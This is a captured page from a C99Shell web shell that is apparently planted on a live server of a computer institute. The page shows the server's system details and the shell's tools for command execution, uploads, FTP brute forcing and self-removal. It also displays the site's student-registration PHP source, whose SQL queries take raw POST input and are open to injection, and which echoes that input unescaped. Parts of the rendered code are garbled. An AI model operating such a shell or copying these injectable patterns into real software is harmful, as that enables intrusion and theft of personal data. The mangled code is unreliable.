!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addt_registration.php (7.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('session.php');
?>
<?php
include('receiptno.php');
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Student Registration Delete </title>
<style>
table { 
  width: 100%; 
  border-collapse: collapse; 
}
/* Zebra striping */
tr:nth-of-type(odd) { 
  background: #eee; 
}
th { 
  background: #333; 
  color: white; 
  font-weight: bold; 
}
td, th { 
  padding: 6px; 
  border: 1px solid #ccc; 
  text-align: left; 
}
</style>
</head>
<center>
<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC">
  <tr>
    <td colspan="4" bgcolor="#FFFF00"><?php include('header.php'); ?></td>
  </tr>
    
     <table width="100%">

    <td colspan="4" bgcolor="#FFFF00"><?php include('menubar.php'); ?></td>
  </tr>
 <tr>
        <td colspan="3" bgcolor="#CCCCCC"> <?php include('sessionbar.php'); ?></td>
      </tr>
 </table>


<script type="text/javascript">

 function print1(strid)
 {
 if(confirm("Do you want to print?"))
 {
 var values = document.getElementById(strid);
 var printing =
 window.open('','','left=0,top=0,width=550,height=400,toolbar=0,scrollbars=0,sta?tus=0');
 printing.document.write(values.innerHTML);
 printing.document.close();
 printing.focus();
 printing.print();
 printing.close();
 }
 }
 </script>


 
<?php
// Check if the form was submitted
if($_SERVER["REQUEST_METHOD"] == "POST"){
    
// Check if file was uploaded without errors
    
if(isset($_FILES["upload"]) && $_FILES["upload"]["error"] == 0){
        
$allowed = array("jpg" => "image/jpg""jpeg" => "image/jpeg""gif" => "image/gif""png" => "image/png");
        
$filename $_FILES["upload"]["name"];
        
$filetype $_FILES["upload"]["type"];
        
$filesize $_FILES["upload"]["size"];
        
$ext end(explode('.'$fileName));
        
$newfilename=time().$session_id.".".'jpg';
         
        
// Verify file extension
        
$ext pathinfo($filenamePATHINFO_EXTENSION);
        if(!
array_key_exists($ext$allowed)) die("Error: Please select a valid file format.");
    
        
// Verify file size - 5MB maximum
        
$maxsize 1024 1024;
        if(
$filesize $maxsize) die("Error: File size is larger than the allowed limit.");
    
        
// Verify MYME type of the file
        
if(in_array($filetype$allowed)){
            
// Check whether file exists before uploading it
            
if(file_exists("upload/" $filename)){
                
            } else{
                
move_uploaded_file($_FILES["upload"]["tmp_name"],"../data/files/".$newfilename);
                
               
            } 
        } else{
            echo 
"Error: There was a problem uploading your file. Please try again."
        }
    } else{
        echo 
"Error: " $_FILES["photo"]["error"];
    }
}
?>
<?php
include 'connect.php';
$dobInput $_POST['dob'];

// Attempt insert query execution
$sql "INSERT INTO admission (enrollment,regDate,dob, 
name, fatherName, motherName, address, mobile, gender,photo,course_fees,branch,course,mobile2,district,pincode,aadhar)
       VALUES
        ( '
$_POST[roll_no]','$_POST[date]', '$dobInput', '$_POST[studentname]', '$_POST[fathername]', '$_POST[mothername]', '$_POST[address]', '$_POST[mobileno1]','$_POST[gender]','$newfilename','$_POST[totalfees]','$user','$_POST[coursename]',
        '
$_POST[mobileno2]','$_POST[district]','$_POST[pincode]','$_POST[aadhar]')";
if(
mysqli_query($link$sql)){
   
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}
 
// Close connection
mysqli_close($link);
?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Student Fees Receipt</title>

<script type="text/javascript">

 function print1(strid)
 {
 if(confirm("Do you want to print?"))
 {
 var values = document.getElementById(strid);
 var printing =
 window.open('','','left=0,top=0,width=550,height=400,toolbar=0,scrollbars=0,sta?tus=0');
 printing.document.write(values.innerHTML);
 printing.document.close();
 printing.focus();
 printing.print();
 printing.close();
 }
 }
 </script>
<style type="text/css">
#print2 table tr td table tr td {
    font-weight: bold;
}
#print2 table tr td table {
    font-family: Verdana, Geneva, sans-serif;
}
</style>
</head>
<center>
<body>

 
 
<div id="print2">
    <?php
/* Attempt MySQL server connection. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
include 'connect.php';
// Attempt insert query execution
$sql "INSERT INTO fees  (roll_no,deposite_fees,  laser_no,  date, student_name, father_name, class, year, address, mobile_no, total_fees,gender,branch,fees_serial_no)
      
      
       VALUES ('
$_POST[roll_no]','$_POST[depositfees]', '$_POST[lesorno]', '$_POST[date]', '$_POST[studentname]', '$_POST[fathername]', '$_POST[coursename]', '$_POST[year]', '$_POST[Address]', '$_POST[mobileno]', '$_POST[totalfees]','$_POST[gender]','$users','$nmembercode')";
if(
mysqli_query($link$sql)){
    
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}
 
// Close connection
mysqli_close($link);
?>

 
<?php 
echo "<table width=\"600\"  border='1' cellspacing=\"0\" bgcolor='#EBFFF9' cellpadding=\"1\">\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td width=\"\" align=\"center\" valign=\"top\" > <h2>ITCE COMPUTER INSTITUTE</h2> </td>\n"
echo 
"  </tr>\n";
echo 
"</table>\n"
echo 
"\n";

echo 
"<table width=\"600\" border=\"0\" bgcolor='#EBFFF9' cellspacing=\"2\" cellpadding=\"1\">\n"

echo 
"  <tr align='left'>\n"
echo 
"    <td width=\"171\" align=\"left\" valign=\"top\" >Roll No</td>\n"
echo 
"    <td width=\"360\">\n"
echo 
"     $_POST[roll_no]"
echo 
"    </td>\n"





echo 
"  </tr>\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Date</td>\n"
echo 
"    <td>\n"
echo 
"      $_POST[date]"
echo 
"   </td>\n"
echo 
"  </tr>\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Student Name</td>\n"
echo 
"    <td>\n"
echo 
"      $_POST[studentname]"
echo 
"    </td>\n"
echo 
"  </tr>\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Father's Name</td>\n"
echo 
"    <td>\n"
echo 
"      $_POST[fathername]"
echo 
"    </td>\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Date of Birth</td>\n"
echo 
"    <td>\n"
echo 
"      $_POST[dob]";  
echo 
"    </td>\n";
echo 
"  </tr>\n"
echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Course Name</td>\n"
echo 
"    <td>\n"
echo 
"     $_POST[batch]"
echo 
"    </td>\n"
echo 
"  </tr>\n";

echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Total Fees</td>\n"
echo 
"    <td>\n"
echo 
"     $_POST[totalfees]"
echo 
"    </td>\n"
echo 
"  </tr>\n"

echo 
"  <tr align='left'>\n"
echo 
"    <td align=\"left\" valign=\"top\" >Deposit Fees </td>\n"
echo 
"    <td>\n"
echo 
"     $_POST[depositfees]"
echo 
"    </td>\n"
echo 
"  </tr>\n"


echo 
"</table></form>\n"
echo 
"\n";
 
?>
 
</div> 
  
    <table width="500" border="0" cellspacing="1" cellpadding="1">
<td><input type="button"  name="printbutton" value="Print" onClick="return print1('print2')"/> </td>
    <td><form action="">
         <input type="button" value="New" onClick="window.location.href='student_registration.php';"/>
         
    </form> </td>
    <td> <form action="">
         <input type="button" value="Home" onClick="window.location.href='branchpage.php';"/>
         
    </form> </td>
  </tr>
</table>


 
   
    </body></center>
    </html>
    
          
  </form>
<?php include('footer.php'); ?>
</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--